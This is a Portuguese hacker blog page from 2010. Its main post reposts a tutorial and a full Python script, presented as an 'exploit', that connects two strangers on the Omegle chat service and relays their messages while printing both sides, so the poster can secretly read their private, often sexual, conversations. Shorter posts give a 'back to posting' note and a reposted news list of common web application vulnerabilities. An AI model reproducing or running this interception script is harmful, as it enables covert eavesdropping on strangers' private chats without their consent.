voltando a postar,

sábado, 10 de abril de 2010 0 comentários
Pois é, agora de fato, depois de muitas coisas, consegui por minha cabeça de novo no lugar, vou voltar a postar, sei que nao faz muita diferença, sei que quase ninguem visita meu blog, maas, e dai, vou voltar a postar mesmo assim (:

è claro, ainda sem tempo de escrever e/ou estudar para os assuntos debatidos, estou buscando por atualidades e tudo mais em outras fontes, sim é simbolico, mas é de coração.

Fiquem na paz ae ;*
um abraçao,

f0nt_Drk [s]
0 comentários
Todos conhecem o site Omegle!
Um mensageiro online, onde diversas pessoas de varios paises podem se comunicar através de uma escolha aleatória do servidor, onde a maioria dos usuários estão atraz de sexo explicito e selvagem!
Nesse post irei ilustrar como realizar uma técnica de man-in-middle capturando conversars que estão sendo realizadas neste momento.

Vamos analizar uma simples conversa usando um sniffer qualquer



O que podemos notar?
O Omegle é desprovido de qualquer tipo de criptografia e
que usa o método POST para comunicação.

Exemplo ilustrativo da comunicação:

You: POST omegle.com/start
Omg: HTTP "123456" <-- 6 caracteres aleatórios p/ o 'username' (a-z A-Z 0-9 _ -)
You: POST omegle.com/events?id=123456
Omg: HTTP [["connected"]]
You: POST omegle.com/send?msg=hello&id=123456
Omg: HTTP win <-- Bom!
You: POST omegle.com/events?id=123456
Omg: HTTP [["gotMessage", "hey"]] <-- Menssagem
You: POST omegle.com/disconnect?id=123456 <-- saiu do chat


Como capturar as conversas?
Use o exploit abaixo: =P

from httplib import *
from urllib import *
from threading import *
from Queue import *
from time import *

headers = {"Content-type": "application/x-www-form-urlencoded; charset=utf-8", "Accept": "application/json"}

class Send_Thread( Thread ):

def __init__(self, user, que):
Thread.__init__(self)

self.que = que

self.con = HTTPConnection("omegle.com:80")
self.user = user

def run ( self ):

done = False

while done == False:

#print "-------------------------------------"

try:

#print "Checking Que"
packet = self.que.get()

#print packet

if packet[0] == "message":

params = urlencode({'msg':packet[1], 'id':self.user})
self.con.request("POST", "/send", params, headers)
response = self.con.getresponse().read()

elif packet[0] == "typing":

params = urlencode({'id':self.user})
self.con.request("POST", "/typing", params, headers)
response = self.con.getresponse().read()

elif packet[0] == "disconnect":

params = urlencode({'id':self.user})
self.con.request("POST", "/disconnect", params, headers)
response = self.con.getresponse().read()

done = True

self.que.task_done()

#print self.user + " - SENT - " + message

except:

#print "QUE ERROR"
pass


class Recv_Thread( Thread ):

def __init__(self, user, que, color):
Thread.__init__(self)

self.que = que
self.user = user
self.con = HTTPConnection("omegle.com:80")
self.params = urlencode({'id':user})
self.color = color

def run ( self ):

self.user = self.color + self.user

done = False
while done == False:

#print "-------------------------------------"

self.con.request("POST", "/events", self.params, headers)

chat = self.con.getresponse().read()

#print chat

if chat == "null": # null only recieved if stanger left
chat = "[['strangerDisconnected']]" # format so it falls through tree

if chat == "[]": # weird response from omegle
chat = "[['']]" # format it so it falls through switch

chat = eval(chat)[0]


if chat[0] == "connected":

print self.user + " - CONNECTED"

elif chat[0] == "waiting":

print self.user + " - WAITING"

elif chat[0] == "gotMessage":

self.que.put(["message", chat[1]])

print "-------------------------------------"
print self.user + " - " + chat[1]

elif chat[0] == "typing":

self.que.put(["typing", ''])
#print self.user + " - TYPING"


elif chat[0] == "stoppedTyping":

pass # todo: que stopped typing
#print self.user + " - STOPPED TYPING"

elif chat[0] == "strangerDisconnected":

self.que.put(["disconnect", ''])
print self.user + " - DISCONNECTED"
done = True

else:

print self.user + " - ERROR"
print chat


con_one = HTTPConnection("omegle.com:80")
con_two = HTTPConnection("omegle.com:80")

con_one.request("POST", "/start", 0, headers)
con_two.request("POST", "/start", 0, headers)

id_one = eval(con_one.getresponse().read())
id_two = eval(con_two.getresponse().read())

print "One: " + id_one
print "Two: " + id_two

q_one = Queue()
q_two = Queue()

Recv_Thread(id_one, q_one, "\033[0;34m").start()
Recv_Thread(id_two, q_two, "\033[0;31m").start()

Send_Thread(id_one, q_two).start()
Send_Thread(id_two, q_one).start()


Pra quem não sabe o script acima é em python.

Tutorial recriado por SpecTrum_Bill (Fazendo um spamzinho *-*) http://unauthorizedaccess.wordpress.com/2010/02/12/omegle-man-in-middle-ataque/

Original por bear24rw

Abraços!

10 Principais vulnerabilidade em aplicações web

0 comentários
fonte:http://www.administradores.com.br/noticias/estudo_aponta_as_10_principais_vulnerabilidades_em_aplicacoes_web/14488/



Um estudo realizado pela Batori especializada em segurança da informação, constatou que grande parte das vulnerabilidades está concentrada hoje em aplicações web, notadamente na estrutura de banco de dados e na arquitetura dos programas.

Além disso, a análise descobriu que grande parte dessas brechas não é detectada por ferramentas como scanners e analisadores de códigos e, quando analisados, não têm a devida eficácia. Falhas desta natureza somente são identificadas e reparadas por profissionais experientes. Então os hackers se aproveitam dessas vulnerabilidades, que geram brechas, para invadir os sistemas, diz o estudo

Para alertar o mercado sobre o problema, a Batori realizou um levantamento e listou um ranking com os dez principais tipos de ataques baseados em vulnerabilidades nas aplicações web, que respondem por 89% dos casos:

1) Cross-site scripting (XSS) – Técnica de ataque que representa 13% das ocorrências. Ela permite executar scripts maliciosos no navegador do usuário da aplicação vulnerável.

2) Manipulação de dados ocultos – Ela responde, também, por 13% das ocorrências. A aplicação vulnerável permite acesso indevido quando dados ocultos são manipulados indevidamente.

3) Falha ao restringir acesso a URL ou funcionalidade – Essa vulnerabilidade, que ocorre porque a aplicação não restringe adequadamente suas áreas restritas, representa 11% das ocorrências.

4) Tratamento indevido de erro, revelação de informações sensíveis – A aplicação revela informações sensíveis através de uso não esperado. Responde por 9% das ocorrências.

5) Armazenamento inseguro de criptografia – Esse tipo de brecha, que representa 9% das ocorrências, expõe dados sensíveis, que deveriam ser armazenados de forma criptografada e estão em texto livre ou com criptografia inadequada.

6) Comunicação insegura – Vulnerabilidade responsável por 8% das ocorrências. A aplicação trafega dados sensíveis através de canais não-seguros.

7) Falha da especificação de requisitos – Deficiência que representa 8% das ocorrências. Os controles de segurança, que deveriam existir, não existem devido à falha na especificação.

Cool Injeção de comandos – Técnica de ataque responsável por 8% das ocorrências e que explora injeção de comandos através de aplicação para serem processados por outros sistemas ou camadas. Por exemplo: SQL Injection, SMTP Injection, HTML Injection etc.

9) Processo inadequado de cadastro de usuários – Procedimento que causa 5% das ocorrências. O cadastro de usuário deve respeitar algumas recomendações de segurança, que se não forem seguidas podem expor a aplicação a diversos incidentes.

10) Quebra de autenticação e gerenciamento de sessão – Responsável por 5% das ocorrências, as aplicações vulneráveis permitem burlar o processo de autenticação através de gestão fraca de sessão ou procedimentos inseguros.

Outras vulnerabilidades respondem por 11% das ocorrências.
 
Copyright © Masterplan
Blogger Theme by BloggerThemes Sponsored by Busy Buzz Blogging